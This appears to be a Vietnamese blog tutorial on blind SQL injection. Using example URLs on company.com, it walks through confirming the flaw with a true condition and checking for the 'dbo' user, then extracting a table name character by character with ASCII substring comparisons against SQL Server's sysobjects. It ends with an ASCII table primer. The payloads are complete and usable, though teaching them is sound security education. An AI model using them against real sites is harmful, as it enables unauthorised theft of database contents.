Blind SQL injection - 2
Phát hiện lỗi "blind sql injection":
1 URL như sau : http://www.company.com/pressRelease.jsp?pressID=5
và câu lệnh SQL được thực hiện sẽ là :
SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5
để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng .Ví dụ như:
http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1
và nếu database server thực hiện lệnh
SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5 AND 1=1
và nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi rồi đấy .
Khai thác:
Bây giờ chúng ta sẽ đoán các thông tin của database bằng việc thực hiên các câu hỏi đúng sai với server
Ví dụ : ta sẽ hỏi server xem " có phải user hiện tại là dbo ko?" bằng cách :
http://www.company.com/pressRelease.jsp?pressID=5 AND USER_NAME()='dbo'
( USER_NAME() là 1 hàm của SQL Server trả về tên của user hiện tại )
Nếu user hiện tai đúng là 'dbo' thì chúng ta sẽ được trả về http://www.company.com/pressRelease.jsp?pressID=5 còn nếu ko thì sẽ ko có trang nào được trả về cả.
Hay phải ko các bạn
Bằng cách so sanh các câu hỏi nhỏ với các hàm ta có thể hỏi nhiều câu phức tạp hơn . Sau đây là ví dụ về cách lấy tên của 1 table ( từng chữ 1 )
http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>109
Lệnh SELECT sẽ yêu cầu tên của table đầu tiên trong database
Hàm substring() sẽ trả về chữ đầu tiên trong kết quả của câu lện
Hàm lower() đơn giản chỉ là chuyển kí tự thành kiêu chữ thường, ko viết hoa.
Hàm ascii() sẽ trả về giá trị ASCII của kí tự đó
Nếu server ko báo lỗi gì thì chúng ta có thể biết rằng tên đầu tiên của table là một chữ sau chữ "m" ( vì trong bảng mã giá trị của chữ "m" là 109 )
tiếp theo :
http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>116
Nếu báo lỗi tức là ta biết được giá trị ASCII của kí tự đầu tiên này nằm trong khoảng từ chữ "n" đến chữ "t" ( giá trị của t là 116)
Cứ thế thu hẹp dần ta sẽ được giá trị của kí tự đầu tiên sẽ nằm trong khoảng "n" và "o" ( 110 và 111)
Tiếp theo:
http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))=111
Server ko báo lỗi mà trở về trang http://www.company.com/pressRelease.jsp?pressID=5 <--vậy là ta biết được kí tự đầu tiên của table là "o"
Đoán tiếp kí tự thứ 2 ta làm như sau :
http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1)))>109
(chú ý ta phải đổi đối số từ 1 sang 2 )
và rồi làm lại như thế , dần dân ta sẽ nhân được tên đầy đủ của table ( trong ví dụ này là "orders")
Bài này ko phải là dịch hoàn toàn mà dựa trên sự đọc hiểu của mình và viết lại , nếu các bạn thấy chỗ nào thiếu chính xác thì góp ý nhá ( mong các bạn đừng cười )
À còn đây là 1 chút về bảng mã ASCII cho nhưng bạn nào chưa biết :
1. Bảng mã ASCII :
Bộ kí tự ASCII gồm 256 kí tự được phân bố như sau:
+ 32 kí tự đầu là các kí tự điều khiển ko in được ví dụ như kí tự ENTER ( mã 13) , ký tự ESC ( mã 27)
+ các mã 32-47,58-64,91-96 và 123-127 là các kí tữ đặc biệt như dấu chấm, chấm phẩy , dấu ngoặc , móc , hỏi .....
+ các mã 48-57 là 10 chữ số
+ các mã 65-90 là các chữ cái hoa A->Z
+ các kí tự 97-122 là các chữ cái thường a->z
+ các mã ASSCII là các kí tự đồ họa
Cụ thể hơn bạn có thể viết 1 CT nhỏ bằng pascal , C ...... để liệt kê bảng mã ASCII cho mình
0 nhận xét:
Đăng nhận xét